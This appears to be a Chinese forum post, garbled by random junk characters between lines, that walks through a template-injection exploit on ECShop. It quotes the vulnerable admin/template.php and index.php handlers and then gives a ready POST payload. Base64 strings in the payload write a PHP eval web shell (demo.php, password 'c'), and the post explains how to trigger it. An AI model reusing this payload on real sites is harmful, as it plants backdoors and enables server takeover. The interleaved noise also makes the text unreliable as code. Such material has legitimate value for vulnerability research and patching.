首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
3 ~' [* X3 Z) H- [
5 |9 X+ M: n* k4 z6 y) \# t而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
) Q. k1 o" O0 a) A但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
, g) U' z# t2 Q5 ~. iadmin/template.php! O4 [% b2 O3 ?, R5 t5 c% }. }# ]
8 ~/ r/ t' k* j. t& l! G1 if ($_REQUEST['act'] == 'update_library')
0 q- I O+ p4 H
8 H3 a# w6 [. l8 m$ r* G( R5 V2
+ E, z0 }/ g' ^: {; X
3 ^# q7 C$ U0 L) d" N6 ]1 ]3 {
" m) s. ]- f7 w: R8 C9 s8 Z
( a8 K- d* C9 Q4 check_authz_json('library_manage'); 8 r# w' C* K$ V
2 g% d6 i2 D" A/ p h. J# Z
5 ' W) B; s# }: w& ]. j& e3 ]
* F$ A" N* K! c8 R! _
6 $html = stripslashes(json_str_iconv($_POST['html']));
6 K# i- ]; K, @2 c1 o8 H' p2 \* Z* S# K
7 4 P6 [3 B5 G+ |9 y, J/ `- p
; I. f* n0 g' t4 T2 T" X/ ?" }8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
4 y @7 y% [* \) B
" J7 l: ~1 |1 f+ q9
% I) v7 ~7 a5 H
* U& j& U4 ^, y% [10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 : _+ Q9 i) @2 F, z, j9 R& b
& ^ B/ \" _3 R* _
11 % u& J+ X. N3 v' L
) ~0 A# h) R5 l8 [: \" G2 |12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); ) C! f/ G& e# c: l; D) ]
3 _3 Y% k) x" W4 b4 _
13 $ w! @5 v3 T5 }, y7 K+ G% E) x
8 F# G9 i; U" r A3 Z3 q
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 1 ^& W b6 n5 i2 S2 s& c
3 {; w$ ~+ s. ^+ `6 D. U( q; q& q
15 {
" r, P& n" Y9 ~ z; n/ o5 g2 F% p% }# P9 H) H! i+ B6 p* e* i
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 2 }3 b5 O/ F' z1 ?8 C
: Q; A: C v; M17 make_json_result('', $_LANG['update_lib_success']); 1 W4 g0 K4 Z! H. |) |5 f' p
: M' P4 [7 H2 R4 r3 Q* m! ^
18 } . F9 g0 \+ P" }& b
1 P3 e6 A' O) q! H/ k19 else 0 ~ T. s# B) @, w
- h- K0 ^2 Y! l# f, _20 { ) \) B+ f" l& s/ j* q& p& p
1 r& o: _! x3 I& J* v
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
7 _1 D4 g# f) y6 ~4 V5 t/ |. _) ^( N! [9 p h+ Z
22 } ' Q1 p5 y8 _. g( G
7 F: A% @; K0 M( W1 F; s' R" ]23 }
% J# ?- q" s* L" X" h8 e* w- S2 I% R9 V3 s" V6 o% `
那么找个比较方便调用了模板的文件% m* B3 j8 @: n8 ~. Y* r# A8 B- u' }
index.php c' h3 g+ C+ H- z: M
* ?1 o3 N' U+ |- M& ^1 G" w% H2 Q
1 if ($act == 'cat_rec') " o' k9 f3 O! @/ m4 n8 b4 n
- _' f, g/ m- c* m$ t' e
2
+ s. I! B' ~$ a( s+ L2 s
: s3 ^. \, y1 \! i% @( N! u( l3 { ( O5 _7 f& I! ?9 D5 w9 ?: n
u% Q/ P- G: { }1 D
4 3 h1 ~% M, N- v1 J% x0 X5 ~8 G" ^
# @4 s5 ^0 h0 e% c/ G5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); , n# S6 }$ d ]# N( K0 B9 r, a
/ `: e* ]' f1 o$ H
6 . m2 R$ z' l/ E; D
2 S9 G1 @ y* C8 A% {1 S7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; K$ q& g, C6 f
0 n. D* P1 I- T U: D8
3 y5 c0 W% q5 d. Q' B: P' G: N2 b5 o/ r
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 7 S* N+ |8 s: b& l5 j
- F6 i9 a3 ~1 m2 F) g4 p, m1 s! [
10 5 b6 w/ ~0 g% X! s
# P. n6 D0 z$ H! ]; Z6 Y11 include_once('includes/cls_json.php');
/ X! z+ G4 H; |% i- n
; ^) r# H& P: r12
) f: I Y) X) D+ B% P+ p0 r/ `% u- H! k
13 $json = new JSON; 8 r; N' p$ v, n+ Q' d' E
6 X1 A N" @- q
14
# y* Q# p1 o; D( X+ j3 Z) T' U( T8 N- S8 p; k
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
, ?$ p9 b+ a ~3 j2 G6 i
6 o2 d% i6 a1 O U: G16 ' u# p/ H, b, G0 |
+ z4 g, P8 ~2 {$ G; C9 o17 $children = get_children($cat_id);
" O3 W$ m" y2 j4 S4 j
3 [. {$ ]' F1 w' y18 + q. j4 {, O6 S+ G5 x+ z4 r0 b0 V$ c( k
O( Q4 k) y% P! t! p" B H, y19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 . c0 B5 t7 L1 F' P) s
" S- Y6 r; z: Z7 n2 b) `) E20
2 X l2 X! |& F6 b/ o
" @: l* N5 `7 M21 $smarty->assign('cat_rec_sign', 1);
3 \6 n$ L3 T) p# Q; d/ |1 P' {
, n7 l2 H# {1 O. }22
* Y1 f6 j0 ]1 p! z/ g- N7 G0 ^$ S6 z& v
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
r& ], v; T' j9 f) n& P$ A3 a* D
2 X7 X* P+ ^$ o% g9 A24 4 F) d9 n) d# y, M6 n& p R+ T6 S
; E z/ @% }& D3 \7 x* u* {, B
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
, T0 `) D, K; H1 ?5 V/ ~7 Z) s% T0 r% l ?' k, V0 w& u
26
) I3 H! c/ W* b8 S0 @/ D+ P+ E: |, p! e7 K7 @
27 echo $rec_array[$rec_type]; $ P+ x$ v1 }& q. y
6 _; R% B( \/ S8 E28
9 u# e( B+ A! k. Q9 v# |
) q3 C+ W9 ]1 D# t8 S/ r* e29 die($json->encode($result)); / T7 k. f& @; l' q' K! u" O. R
* A* }# Q' O! s" y) J5 y
30
( J4 L$ M# Q# G- z* B$ r" O! f. G+ Z9 d& @: r5 i/ D. K9 B
31 } & O! M! k+ z2 T* R+ m4 T0 f5 Y5 K
7 W- _, {( Y* d- k
那么就有利用方法了 f+ x* w7 D+ m9 ^) q0 j
post包到http://localhost/ec/admin/template.php?act=update_library
2 f( G6 r, g) u/ k$ q8 q) I1 K; F, }, l) HPost内容:9 m& W# C0 ]& J7 ]. B- n
: s" z1 Y: ~ t7 D+ W% U1 @+ c1 y
+ r0 m1 ?' k( Z. I7 J
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
# H+ {" [, z6 }% W E) f% e; D
' e8 I" z7 Z- R& t% X然后访问http://localhost/ec/index.php?act=cat_rec2 U+ w% S5 K% \, m
7 G& Z1 U) C: f6 }
shel地址:http://localhost/ec/demo.php K. `2 t4 y) ^
密码c( Z, c! h7 r# s8 c/ }* X
, e# |3 F) d# ~+ P" k; Q, M |